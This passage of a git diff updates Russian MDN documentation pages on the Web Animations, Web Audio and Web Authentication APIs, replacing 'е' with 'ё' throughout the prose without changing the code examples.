color: '#000' } ];</pre> -<p>Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даете. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.</p> +<p>Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даёте. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.</p> -<p>Если мы хотим, чтобы определенный набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведенном выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаем смещение: 0,333.</p> +<p>Если мы хотим, чтобы определённый набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведённом выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаём смещение: 0,333.</p> <p>Там должно быть как минимум два кадра (представляющих начало и конец анимации). Если в вашем списке keyframe только одна запись, {{domxref("Element.animate()")}} то анимация выполняться не будет, вы получите ошибку NotSupportedError exception.</p> -<p>И так повторим, код равномерно распределен по умолчанию, если не указано смещение. Удобно, не так ли?</p> +<p>И так повторим, код равномерно распределён по умолчанию, если не указано смещение. Удобно, не так ли?</p> <h4 id="Представление_свойства_времени.">Представление свойства времени.</h4> @@ -87,7 +87,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <ul> <li>Во-первых, длительность в миллисекундах, в отличии от секунд - 3000, а не 3с. Как {{domxref("WindowTimers.setTimeout()")}} и {{domxref("Window.requestAnimationFrame()")}}, Web Animations API использует только миллисекунды.</li> - <li>Во-вторых, что вы заметили, что он итерационный (повторяется), а не счетчик повторений.</li> + <li>Во-вторых, что вы заметили, что он итерационный (повторяется), а не счётчик повторений.</li> </ul> <div class="note"> @@ -96,7 +96,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <h4 id="Собираем_части_вместе.">Собираем части вместе.</h4> -<p>Сейчас соберем все части вместе используя {{domxref("Element.animate()")}} метод:</p> +<p>Сейчас соберём все части вместе используя {{domxref("Element.animate()")}} метод:</p> <pre class="brush: js notranslate">document.getElementById("alice").animate( aliceTumbling, @@ -105,7 +105,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>И вуаля, анимация работает(смотрите готовый вариант на <a href="http://codepen.io/rachelnabors/pen/rxpmJL">version on Codepen</a>).</p> -<p>The <code>animate()</code> метод может быть применен на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:</p> +<p>The <code>animate()</code> метод может быть применён на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:</p> <pre class="brush: js notranslate">document.getElementById("alice").animate( [ @@ -118,7 +118,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API } );</pre> -<p>Более того, если мы хотели указать только длительность анимации, а не ее повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:</p> +<p>Более того, если мы хотели указать только длительность анимации, а не её повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:</p> <pre class="brush: js notranslate">document.getElementById("alice").animate( [ @@ -133,7 +133,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p><a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010"><img alt="Playing the growing and shrinking game with Alice." src="https://mdn.mozillademos.org/files/13845/growing-shrinking_article_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p> -<p>В этой игре Алиса меняется в росте, она то растет, то уменьшается, а контролируем мы этот процесс с помощью бутылки и кекса. Каждый из них имеют свою анимацию.</p> +<p>В этой игре Алиса меняется в росте, она то растёт, то уменьшается, а контролируем мы этот процесс с помощью бутылки и кекса. Каждый из них имеют свою анимацию.</p> <h3 id="Пауза_и_проигрывание_анимации.">Пауза и проигрывание анимации.</h3> @@ -149,7 +149,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API duration: aliceChange.effect.timing.duration / 2 });</pre> -<p>Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнется игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмет, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:</p> +<p>Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнётся игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмёт, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:</p> <pre class="brush: js notranslate">nommingCake.pause();</pre> @@ -180,11 +180,11 @@ cake.addEventListener("touchstart", growAlice, false);</pre> <ul> <li>{{domxref("Animation.finish()")}} перейти в конец анимации.</li> - <li>{{domxref("Animation.cancel()")}} прервать анимацию и удалить ее эффект.</li> - <li>{{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдет в обратном порядке.</li> + <li>{{domxref("Animation.cancel()")}} прервать анимацию и удалить её эффект.</li> + <li>{{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдёт в обратном порядке.</li> </ul> -<p>Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьет из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет ее анимацию playbackRate от 1 до -1:</p> +<p>Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьёт из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет её анимацию playbackRate от 1 до -1:</p> <pre class="brush: js notranslate">var shrinkAlice = function() { aliceChange.playbackRate = -1; @@ -194,11 +194,11 @@ cake.addEventListener("touchstart", growAlice, false);</pre> bottle.addEventListener("mousedown", shrinkAlice, false); bottle.addEventListener("touchstart", shrinkAlice, false);</pre> -<p>В <a href="https://en.wikipedia.org/wiki/Through_the_Looking-Glass">Through the Looking-Glass</a>, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперед. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на <a href="http://codepen.io/rachelnabors/pen/PNGGaV">full code on Codepen</a>):</p> +<p>В <a href="https://en.wikipedia.org/wiki/Through_the_Looking-Glass">Through the Looking-Glass</a>, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперёд. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на <a href="http://codepen.io/rachelnabors/pen/PNGGaV">full code on Codepen</a>):</p> <p><a href="http://codepen.io/rachelnabors/pen/PNGGaV"><img alt="Alice and the Red Queen race to get to the next square in this game." src="https://mdn.mozillademos.org/files/13847/red-queen-race_optimized.gif" style="display: block; height: 342px; margin-left: auto; margin-right: auto; width: 640px;"></a></p> -<p>Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путем ослабления (уменьшения скорости) playbackRate анимации.</p> +<p>Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путём ослабления (уменьшения скорости) playbackRate анимации.</p> <pre class="brush: js notranslate">setInterval( function() { @@ -209,7 +209,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);</pre> }, 3000);</pre> -<p>Но постоянно нажимая на них мышью, мы заставляем их ускориться путем умножения playbackRate (скорости анимации)</p> +<p>Но постоянно нажимая на них мышью, мы заставляем их ускориться путём умножения playbackRate (скорости анимации)</p> <pre class="brush: js notranslate">var goFaster = function() { @@ -224,7 +224,7 @@ document.addEventListener("touchstart", goFaster);</pre> <h2 id="Получение_информации_из_анимации">Получение информации из анимации</h2> -<p>Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчета длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:</p> +<p>Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчёта длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:</p> <pre class="brush: js notranslate">document.getAnimations().forEach( function (animation) { @@ -250,21 +250,21 @@ document.addEventListener("touchstart", goFaster);</pre> fill: 'both' });</pre> -<p>Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем ее:</p> +<p>Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем её:</p> <pre class="brush: js notranslate">aliceChange.pause();</pre> -<p>Если бы оставили ее на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить ее анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:</p> +<p>Если бы оставили её на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить её анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:</p> <pre class="brush: js notranslate">aliceChange.currentTime = 4000;</pre> -<p>Но во время работы над этой анимацией мы можем сильно увеличить ее продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придется делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:</p> +<p>Но во время работы над этой анимацией мы можем сильно увеличить её продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придётся делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:</p> <pre class="brush: js notranslate">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre> -<p>эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится ее {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить ее длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.</p> +<p>эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится её {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить её длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.</p> -<p>Теперь мы можем запустить ее в обратном порядке и играться анимацией в любом направлении, чтобы заставить ее расти или уменьшаться</p> +<p>Теперь мы можем запустить её в обратном порядке и играться анимацией в любом направлении, чтобы заставить её расти или уменьшаться</p> <pre class="brush: js notranslate">var drinking = document.getElementById('liquid').animate( [ @@ -280,7 +280,7 @@ drinking.pause();</pre> <p>Теперь все три анимации связаны только с одной продолжительности, и мы можем легко переходить из одного места.</p> -<p>Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в нее пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце ее анимация, получая текущее время ее анимации <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code> и разделив ее на activeDuration:</p> +<p>Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в неё пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце её анимация, получая текущее время её анимации <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code> и разделив её на activeDuration:</p> <pre class="brush: js notranslate">var endGame = function() { @@ -334,7 +334,7 @@ aliceChange.onfinish = endGame; </pre> -<p>Нравится перспектива? Web Animations API также дает две перспективы: <code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> и <code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code>.</p> +<p>Нравится перспектива? Web Animations API также даёт две перспективы: <code><a href="/en-US/docs/Web/API/Animation/onfinish">onfinish</a></code> и <code><a href="/en-US/docs/Web/API/Animation/oncancel">oncancel</a></code>.</p> <div class="note"> <p>Эти обещания не полностью поддерживаются в настоящий момент.</p> diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html index ba3df973e4..cb927ca206 100644 --- a/files/ru/web/api/web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/index.html @@ -12,7 +12,7 @@ tags: translation_of: Web/API/Web_Audio_API --- <div> -<p>Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что дает возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.</p> +<p>Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что даёт возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.</p> </div> <h2 id="Общие_концепции_и_использование_Web_Audio">Общие концепции и использование Web Audio</h2> @@ -52,7 +52,7 @@ translation_of: Web/API/Web_Audio_API <dl> <dt>{{domxref("AudioContext")}}</dt> - <dd>AudioContext представляет собой некий аудио обрабатывающий объект, сооруженный из аудио модулей связанных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.</dd> + <dd>AudioContext представляет собой некий аудио обрабатывающий объект, сооружённый из аудио модулей связанных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.</dd> <dt>{{domxref("AudioNode")}}</dt> <dd>Интерфейс AudioNode представляет собой некий обрабатывающий модуль такой как источник аудио (то есть HTML <audio> или <video> элемент), конечный аудио объект, модуль непосредственной обработки (например фильтр BiquadFilterNode или звуковой контроллер такой как GainNode).</dd> <dt>{{domxref("AudioParam")}}</dt> @@ -87,7 +87,7 @@ translation_of: Web/API/Web_Audio_API <dt>{{domxref("BiquadFilterNode")}}</dt> <dd><strong><code>BiquadFilterNode </code></strong><code>представляет простой фильтр низкого порядка. Это </code>{{domxref("AudioNode")}} представляющий различные виды фильтров такие как эквалайзер или управление тональностью. <strong><code>BiquadFilterNode</code></strong><code> имеет ровно один вход и один выход.</code></dd> <dt>{{domxref("ConvolverNode")}}</dt> - <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>это <span style="line-height: 1.5;">{{domxref("AudioNode")}} выполняющий линейную свертку </span><span style="line-height: 1.5;">AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.</span></dd> + <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>это <span style="line-height: 1.5;">{{domxref("AudioNode")}} выполняющий линейную свёртку </span><span style="line-height: 1.5;">AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.</span></dd> <dt>{{domxref("DelayNode")}}</dt> <dd><strong><code>DelayNode</code></strong><strong> </strong>представляет собой линию задержки (<a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">delay-line</a>); содержит {{domxref("AudioNode")}} вызывающий задержку между выходным и входным сигналом.</dd> <dt>{{domxref("DynamicsCompressorNode")}}</dt> diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html index cd2730006c..63e50078b7 100644 --- a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html @@ -27,10 +27,10 @@ analyser.connect(distortion); distortion.connect(audioCtx.destination);</pre> <div class="note"> -<p><strong>Примечание</strong>: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключен к источнику, либо напрямую, либо через другой узел.</p> +<p><strong>Примечание</strong>: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключён к источнику, либо напрямую, либо через другой узел.</p> </div> -<p>Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определенной частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).</p> +<p>Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определённой частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).</p> <div class="note"> <p><strong>Примечание</strong>: Вы так же можете указать значения минимума и максимума для диапазона масштабирования данных БПФ, используя {{ domxref("AnalyserNode.minDecibels") }} и {{ domxref("AnalyserNode.maxDecibels") }}, и разные константы усреднения данных с помощью {{ domxref("AnalyserNode.smoothingTimeConstant") }}. Прочтите эти страницы, чтобы получить больше информации о том как их использовать.</p> @@ -38,9 +38,9 @@ distortion.connect(audioCtx.destination);</pre> <p>Чтобы получить данные, Вам нужно использовать методы {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getByteFrequencyData()") }}, чтобы получить данные о частоте, и {{ domxref("AnalyserNode.getByteTimeDomainData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} чтобы получить данные о форме волны.</p> -<p>Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдет для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.</p> +<p>Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдёт для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.</p> -<p>Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведем для данного размера fft.</p> +<p>Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведём для данного размера fft.</p> <pre class="brush: js notranslate">analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount; @@ -95,7 +95,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <pre class="brush: js notranslate"> var sliceWidth = WIDTH * 1.0 / bufferLength; var x = 0;</pre> -<p>В цикле, мы задаем позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:</p> +<p>В цикле, мы задаём позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:</p> <pre class="brush: js notranslate"> for(var i = 0; i < bufferLength; i++) { @@ -127,9 +127,9 @@ var dataArray = new Uint8Array(bufferLength);</pre> <h2 id="Создание_частотной_гистограммы">Создание частотной гистограммы</h2> -<p>Еще одна визуализация, которую можно создать, - это частотные диаграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.</p> +<p>Ещё одна визуализация, которую можно создать, - это частотные диаграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.</p> -<p>Сначала мы снова создаем анализатор и массив для данных, затем очищаем холст при помощи <code>clearRect()</code>. Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.</p> +<p>Сначала мы снова создаём анализатор и массив для данных, затем очищаем холст при помощи <code>clearRect()</code>. Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.</p> <pre class="brush: js notranslate"> analyser.fftSize = 256; var bufferLength = analyser.frequencyBinCount; @@ -138,7 +138,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre> -<p>Затем мы запускаем функцию <code>draw()</code> и задаем цикл при помощи <code>requestAnimationFrame()</code> таким образом, чтобы в каждом кадре анимации данные обновлялись.</p> +<p>Затем мы запускаем функцию <code>draw()</code> и задаём цикл при помощи <code>requestAnimationFrame()</code> таким образом, чтобы в каждом кадре анимации данные обновлялись.</p> <pre class="brush: js notranslate"> function draw() { drawVisual = requestAnimationFrame(draw); @@ -148,9 +148,9 @@ var dataArray = new Uint8Array(bufferLength);</pre> canvasCtx.fillStyle = 'rgb(0, 0, 0)'; canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre> -<p>Затем мы устанавливаем значение <code>barWidth</code> , равное ширине холста, деленной на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определенных, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространенным частотам.</p> +<p>Затем мы устанавливаем значение <code>barWidth</code> , равное ширине холста, делённой на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определённых, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространённым частотам.</p> -<p>Мы также устанавливаем значение переменных <code>barHeight</code> и <code>x</code> , задающей то, где на холсте должен быть размещен каждый столбец.</p> +<p>Мы также устанавливаем значение переменных <code>barHeight</code> и <code>x</code> , задающей то, где на холсте должен быть размещён каждый столбец.</p> <pre class="brush: js notranslate"> var barWidth = (WIDTH / bufferLength) * 2.5; var barHeight; @@ -174,7 +174,7 @@ var dataArray = new Uint8Array(bufferLength);</pre> <pre class="brush: js notranslate"> draw();</pre> -<p>Этот код дает нам следующий результат:</p> +<p>Этот код даёт нам следующий результат:</p> <p><img alt="a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal" src="https://mdn.mozillademos.org/files/7975/bar-graph.png" style="height: 157px; width: 1260px;"></p> diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html index d7951c18d6..4407249491 100644 --- a/files/ru/web/api/web_authentication_api/index.html +++ b/files/ru/web/api/web_authentication_api/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Web_Authentication_API <p>API Web Authentication (также называемое WebAuthn) использует {{interwiki("wikipedia", "Public-key_cryptography", "ассиметричную криптографию (систему с открытым ключом)")}} вместо паролей или SMS-сообщений для регистрации, входа и {{interwiki("wikipedia", "Multi-factor_authentication", "двухфакторной аутентификации")}} на веб-сайтах. Это устраняет многие значительные проблемы безопасности, такие как {{interwiki("wikipedia", "Phishing", "фишинг")}}, {{interwiki("wikipedia", "Data_breach", "утечки данных")}} и атаки на SMS или иные методы двухфакторной аутентификации, при этом сильно упрощая использование, т.к. пользователям не нужно запоминать десятки сложных паролей.</p> -<p>На многих сайтах уже есть страницы для регистрации и входа в существующие учетные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, Web Authentication API содержит два базовых метода: для регистрации и для входа:</p> +<p>На многих сайтах уже есть страницы для регистрации и входа в существующие учётные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>, Web Authentication API содержит два базовых метода: для регистрации и для входа:</p> <ul> - <li>{{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией <code>publicKey</code> создает новый набор учетных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.</li> - <li>{{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией <code>publicKey</code> использует существующий набор учетных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.</li> + <li>{{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией <code>publicKey</code> создаёт новый набор учётных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.</li> + <li>{{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией <code>publicKey</code> использует существующий набор учётных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.</li> </ul> <p><strong>Обратите внимание</strong>, и <code>create()</code>, и <code>get()</code> работают только в <a href="/en-US/docs/Web/Security/Secure_Contexts">Secure Context</a> (например, когда подключение к серверу происходит через https или сервер работает на localhost).</p> @@ -43,8 +43,8 @@ translation_of: Web/API/Web_Authentication_API <li><strong>Приложение запрашивает регистрацию</strong> - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li> <li><strong>Server Sends Challenge, User Info, and Relying Party Info</strong> - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/create">create()</a> call, typically with little or no modification and returns a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.</strong></li> <li><strong>Браузер вызывает authenticatorMakeCredential() для аутентификатора</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which is recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li> - <li><strong>Аутентификатор создает новую пару ключей и Attestation</strong> - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li> - <li><strong>Аутентификатор передает информацию в браузер</strong> - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li> + <li><strong>Аутентификатор создаёт новую пару ключей и Attestation</strong> - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li> + <li><strong>Аутентификатор передаёт информацию в браузер</strong> - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li> <li><strong>Браузер создаёт итоговый набор данных, приложение отвечает серверу</strong> - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and 